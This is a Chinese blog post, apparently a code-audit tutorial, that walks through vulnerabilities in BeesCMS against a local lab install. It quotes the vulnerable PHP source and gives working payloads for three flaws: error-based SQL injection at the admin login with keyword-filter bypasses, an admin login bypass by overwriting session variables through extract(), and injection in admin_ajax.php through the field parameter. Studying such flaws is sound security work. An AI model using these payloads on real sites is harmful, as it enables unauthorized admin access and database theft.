beescms代码审计学习(一)

admin 2022年12月17日17:04:34评论127 views字数 6139阅读20分27秒阅读模式

免责声明

由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号夜组安全及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!


beescms代码审计学习(一)
beescms代码审计学习(一)

代码审计

beescms代码审计学习(一)
beescms代码审计学习(一)

01

NightCrawler安全团队


本文首发于先知社区:https://xz.aliyun.com/t/11955


以下文章来自夜组安全的我是小夜羽师傅,主要内容为SRC挖掘,希望大家能够从中有所收获。


NightCrawler安全团队诚邀各位共同学习,共同进步。


02

beescms搭建

作者准备学习php代码审计和java代码审计,所以审计一些经典易上手的cms,并将过程记录下来。


官网下载源码并使用phpstudy安装搭建

beescms代码审计学习(一)

beescms代码审计学习(一)


03

代码审计

先看一下cnvd有哪些已经交的漏洞

beescms代码审计学习(一)

beescms代码审计学习(一)

beescms代码审计学习(一)

beescms代码审计学习(一)

文件上传,注入,包含,越权,文件读取,代码执行,csrf,文件删除,还是挺多漏洞的。

配置文件在/data/confing.php

beescms代码审计学习(一)


admin/login.php后台登录页面sql注入

访问http://192.168.43.199/admin/login.php

beescms代码审计学习(一)

用户名这里输入admin'会报错,如果挂xray被动扫描的话能扫出注入,手动测试也可以看出。

beescms代码审计学习(一)

白盒审计一下

找到登录处的代码 /admin/login.php

beescms代码审计学习(一)


if($action=='login'){
global $_sys;
include('template/admin_login.php');
}
//判断登录
elseif($action=='ck_login'){
global $submit,$user,$password,$_sys,$code;
$submit=$_POST['submit'];
$user=fl_html(fl_value($_POST['user']));
$password=fl_html(fl_value($_POST['password']));
$code=$_POST['code'];
if(!isset($submit)){
msg('请从登陆页面进入');
}
if(empty($user)||empty($password)){
msg("密码或用户名不能为空");
}
if(!empty($_sys['safe_open'])){
foreach($_sys['safe_open'] as $k=>$v){
if($v=='3'){
if($code!=$s_code){msg("验证码不正确!");}
}
}
}
check_login($user,$password);

}

user处使用fl_value和fl_html方法,跟进看一下有什么作用

beescms代码审计学习(一)


function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |%|=|/*|*|../|./| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}

fl_value是将我们传入的user值进行一个匹配,匹配到的话替换为空,这里只是匹配的话,我们可以使用双写绕过 seselectlect a and nd 这样的方式,或者大小写绕过

再看fl_html方法,是将我们输入的值进行html实体化编码,htmlspecialchars默认编码双引号,那我们使用单引号或者hex编码就好

beescms代码审计学习(一)

来跟进check_login($user,$password) 这个方法

beescms代码审计学习(一)


function check_login($user,$password){
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");
$rel=empty($rel)?'':$rel[0];
if(empty($rel)){
msg('不存在该管理用户','login.php');
}
$password=md5($password);
if($password!=$rel['admin_password']){
msg("输入的密码不正确");
}
if($rel['is_disable']){
msg('该账号已经被锁定,无法登陆');
}

$_SESSION['admin']=$rel['admin_name'];
$_SESSION['admin_purview']=$rel['admin_purview'];
$_SESSION['admin_id']=$rel['id'];
$_SESSION['admin_time']=time();
$_SESSION['login_in']=1;
$_SESSION['login_time']=time();
$ip=fl_value(get_ip());
$ip=fl_html($ip);
$_SESSION['admin_ip']=$ip;
unset($rel);
header("location:admin.php");
}

直接将获取来的user值拼接到sql语句中查询,跟进一下fetch_asc

beescms代码审计学习(一)


function fetch_asc($sql){
$result=$this->query($sql);
$arr=array();
while($rows=mysql_fetch_assoc($result)){
$arr[]=$rows;
}
mysql_free_result($result);
return $arr;
}

进行sql查询操作,跟进query函数

beescms代码审计学习(一)


function query($sql){
if(!$res=@mysql_query($sql,$this->link)){
err('操作数据库失败'.mysql_error()."<br>sql:{$sql}","javascript:history.go(-1);");
}
return $res;
}

mysql进行查询,如果报错的话贴心的输出错误内容,这样就导致报错注入的产生,构造payload admin'a and nd updatexml(1,concat(0x7e,(seselectlect database()),0x7e),1)#

beescms代码审计学习(一)

当然也能写入文件getshell,网上有分析


includes/init.php 变量覆盖导致的后台登录绕过

首先看beescms后台登录的验证代码admin/login

beescms代码审计学习(一)

跟进is_login()

beescms代码审计学习(一)


function is_login(){
if($_SESSION['login_in']==1&&$_SESSION['admin']){
if(time()-$_SESSION['login_time']>3600){
login_out();
}else{
$_SESSION['login_time']=time();
@session_regenerate_id();
}
return 1;
}else{
$_SESSION['admin']='';
$_SESSION['admin_purview']='';
$_SESSION['admin_id']='';
$_SESSION['admin_time']='';
$_SESSION['login_in']='';
$_SESSION['login_time']='';
$_SESSION['admin_ip']='';
return 0;
}

}

判断session中login_in是否为1并且有admin参数的传入,然后login_time>3600 的话,就算是登录了


正常情况是无法控制session的,但是分析发现很多文件都引入了includes/init.php

includes/init.php

beescms代码审计学习(一)


session_start();
if (isset($_REQUEST)){$_REQUEST = fl_value($_REQUEST);}
$_COOKIE = fl_value($_COOKIE);
$_GET = fl_value($_GET);
@extract($_POST);
@extract($_GET);
@extract($_COOKIE);

beescms代码审计学习(一)

这里先来补充extract()的知识


PHP extract() 函数是从数组中把变量导入到当前的符号表中。 定义和用法 对于数组中的每个元素,键名用于变量名,键值用于变量值。


先设置了session_start(),创建会话。判断是否有输入来设置了cookie,fl_value进行一些简单的过滤,使用request设置cookie,$_GET = fl_value($_GET);来过滤get请求的内容,但是没有过滤post请求,后面还都通过@extract()来引入变量,进行变量的覆盖操作,那么这样就可以post方法传递session。二者配合构造session来绕过登录限制


访问http://192.168.43.199/index.php post传递值

beescms代码审计学习(一)


_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=8888888888888

之后访问admin/admin.php

beescms代码审计学习(一)

这里发现login_time需要设置超级大的时间,要不然会显示成功退出,而且session这样的键值对需要写成_SESSION[login_in]=1 如果SESSION['login_in']=1是不行的,单引号不能加


admin/admin_ajax.php 后台sql注入

审计sql注入之前我们先看一下这句话


addslashes 在单引号(')、双引号(")、反斜线()与 NUL前加上反斜线 可用于防止SQL注入


mysqli::real_escape_string mysqli::escape_string mysqli_real_escape_string mysql_real_escape_string SQLite3::escapeString


以上函数会在x00(NULL), n, r, , ', " 和 x1a (CTRL-Z)前加上反斜线 并考虑了当前数据库连接字符集进行处理


注意: 经过以上函数处理后的字符串不可直接用于sql查询拼接 需要使用引号包裹后拼接到sql语句中 否则仍可导致sql注入


例如 上文中的例子 攻击者输入并没有使用到引号反斜线 逗号可使用其他方法绕过 仍可构成SQL注入


就是说过滤时候要使用引号包裹,要不然比如直接报错语句,也不需要用到引号

我们来看一下全局的过滤

beescms代码审计学习(一)


if (!get_magic_quotes_gpc())
{
if (isset($_REQUEST))
{
$_REQUEST = addsl($_REQUEST);
}
$_COOKIE = addsl($_COOKIE);
$_POST = addsl($_POST);
$_GET = addsl($_GET);
}

接收参数,我们跟进addsl()

beescms代码审计学习(一)


function addsl($value)
{
if (empty($value))
{
return $value;
}
else
{
return is_array($value) ? array_map('addsl', $value) : addslashes($value);
}
}

对于接收的参数使用addslashes()来给特殊符号加'',但是没有使用引号包裹,这很有问题。来看admin_ajax.php

beescms代码审计学习(一)


elseif($action=='order'){
$table=$_REQUEST['table'];
$field = $_REQUEST['field'];
$id = intval($_REQUEST['id']);
$sql="update ".DB_PRE."{$table} set {$field}=".intval($value)." where id={$id}";
$GLOBALS['mysql']->query($sql);
//更新缓存
if($table=="lang"){
$sql="select*from ".DB_PRE."{$table} order by {$field} desc";
$rel=$GLOBALS['mysql']->fetch_asc($sql);
$cache_file=DATA_PATH.'cache/lang_cache.php';
$str="<?phpn$lang_cache=".var_export($rel,true).";n?>";
}elseif($table=="channel"){
$sql="select*from ".DB_PRE."{$table} order by {$field} desc";
$rel=$GLOBALS['mysql']->fetch_asc($sql);
$cache_file=DATA_PATH.'cache_channel/cache_channel_all.php';
$str="<?phpn$channel=".var_export($rel,true).";n?>";
}
creat_inc($cache_file,$str);

}

这里sql语句执行update操作,但是未对field这个传入的变量进行校验,除了addsl()在特殊符号前加''


那么我们可以构造

/admin/admin_ajax.php?action=order&table=1&field=aaa=111 or updatexml(1,concat(0x23,database()),1)--+

beescms代码审计学习(一)

可以看到报错语句,那继续修改一下table,既然table选admin表,在admin表找一个不重要的字段

beescms代码审计学习(一)

/admin/admin_ajax.php?action=order&table=admin&field=admin_mail=111 or updatexml(1,concat(0x23,database()),1)--+


好了输入

http://192.168.43.199/admin/admin_ajax.php?action=order&table=admin&field=admin_mail=111 or updatexml(1,concat(0x23,database()),1)--+

beescms代码审计学习(一)

beescms代码审计学习(一)已结束


04

往期回顾


beescms代码审计学习(一)

2022年Top 10漏洞盘点


beescms代码审计学习(一)

Thinkphp 多语言模块命令执行漏洞


beescms代码审计学习(一)

pgadmin validate_binary_path 远程命令执行漏洞(CVE-2022-4223)


原文始发于微信公众号(夜组安全):beescms代码审计学习(一)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月17日17:04:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   beescms代码审计学习(一)http://cn-sec.com/archives/1470171.html

发表评论

匿名网友 填写信息